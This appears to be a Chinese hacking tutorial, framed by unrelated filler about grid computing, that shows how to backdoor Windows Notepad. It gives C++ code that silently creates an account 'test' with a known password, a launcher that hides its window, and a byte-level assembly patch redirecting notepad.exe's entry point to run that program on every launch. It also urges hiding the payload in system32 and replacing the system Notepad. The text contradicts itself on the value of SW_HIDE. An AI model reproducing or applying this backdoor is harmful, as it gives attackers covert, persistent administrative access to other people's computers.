網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 本文測試平臺:windows xp sp2, vc++6.0我很喜歡孟方明[-273]的文章,很有啟發性,常常是show一種思路,而不僅僅是一種方法。 《逆向工程打造隱蔽的后門》中的添加用戶的后門,還沒有做到真正的隱蔽,因為有2次會閃過dos(我也不知道改叫什么窗口,暫且叫dos吧)窗口。但是孟方明提供了思路,我等菜鳥花了數星期研究之后,小有心得,拿出來給大家分享,下面我來給出方法: 開始真正的測試之前,先看下面的下面這個程序代碼(相信菜鳥也可以看懂): //測試程序,作用添加一個用戶test并修改密碼為windows //AddUser.cpp #include int main(int argc, char* argv[]) { system("net user test /add"); system("net user test windows"); system("pause"); //暫停程序,以便查看程序是否成功運行,實際應用時去掉 return 0; } 編譯一下,將生成的程序重命名為AddUser.exe,運行 沒有關系,趕緊刪除test這個用戶 再來看看下面的代碼: // ExecuteAddUser.cpp #include int main(int argc, char* argv[]) { ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDE system("pause"); //暫停程序,以便查看程序是否成功運行,實際應用時去掉 return 0; } 也編譯一下,生成ExecuteAddUser.exe,現在把AddUser.exe復制到ExecuteAddUser.exe所在的目錄。運行ExecuteAddUser.exe, 嘿嘿,你沒有看到AddUser.exe閃過dos窗口吧。去看看系統用戶,看到test用戶了吧。為什么沒有顯示窗口呢?上面已經表示出來了這里的參數SW_HIDE就是不顯示窗口的意思,詳細描述請查閱MSDN。而且進程列表里面沒有cmd.exe 到這里我們的具體思路就已經出來了: 只要把ExecuteAddUser.exe的代碼嵌入到某一個程序里面(假設這里是A.exe),這樣每次運行A.exe就會執行我們的AddUser.exe,如果把ExecuteAddUser.exe的代碼嵌入到記事本,嘿嘿,那么這個用戶就很難從機器上消失了,是不是有點強盜邏輯。 想法是好的,但是要嵌入到某一個程序里面,就需要注意這里的參數SW_HIDE了,因為我們嵌入的時候,代碼不能用SW_HIDE。其實SW_HIDE是微軟定義的一個宏而已,我想到一個比較傻的辦法來解決這個問題。 在vc++的目錄搜索。終于在WINUSER.H中 找到如下定義: /* * ShowWindow() Commands */ #define SW_HIDE 0 中間的省略。 #define SW_MAX 11 可以看到SW_HIDE被定義為1。 問題解決了,去掉AddUser.cpp中的system("pause"); 去掉再次編譯為AddUser.exe,復制到D盤(這里只是測試,實際上可能會被放到 c:\windows\system32\......,藏得越深越好啊)。 剩下的事情就很簡單了基本上就是和孟方明的操作一樣。修改如下: 原來的記事本入口: 01006AE0 > $ 6A 70 PUSH 70 01006AE2 . 68 88180001 PUSH notepad.01001888 01006AE7 . E8 BC010000 CALL notepad.01006CA8 修改為: 01006AE0 > $ /E9 BB120000 JMP notepad_.01007DA0 01006AE5 > |90 NOP 01006AE6 . |90 NOP 01006AE7 . |E8 BC010000 CALL notepad_.01006CA8 在01007D74添加如下字符: 01007D74 . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0 01007D84 . 6F 70 65 6E 0>ASCII "open",0 修改01007DA0為: 01007DA0 > \60 PUSHAD 01007DA1 . 6A 00 PUSH 0 ; /IsShown = 0 01007DA3 . 6A 00 PUSH 0 ; |DefDir = NULL 01007DA5 . 6A 00 PUSH 0 ; |Parameters = NULL 01007DA7 . 68 747D0001 PUSH notepad_.01007D74 ; |FileName = "d:\\AddUser.exe" 01007DAC . 68 847D0001 PUSH notepad_.01007D84 ; |Operation = "open" 01007DB1 . 6A 00 PUSH 0 ; |hWnd = NULL 01007DB3 . 90 NOP ; | 01007DB4 . 90 NOP ; | 01007DB5 . 90 NOP ; | 01007DB6 . E8 FEAB3F76 CALL SHELL32.ShellExecuteA ; \ShellExecuteA 01007DBB . 61 POPAD 01007DBC . 6A 70 PUSH 70 01007DBE . 68 88180001 PUSH notepad_.01001888 01007DC3 .^ E9 1DEDFFFF JMP notepad_.01006AE5 修改完成后保存為note_test.exe,運行,哈哈,沒有看到dos窗口吧,看看系統用戶吧,有個test吧,呵呵成功。現在修改路徑AddUser.exe的路徑吧,別忘了在記事本里修改啊,也不要忘了覆蓋系統的記事本,除非別人不用記事本,否則。。。。。。呵呵.。 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!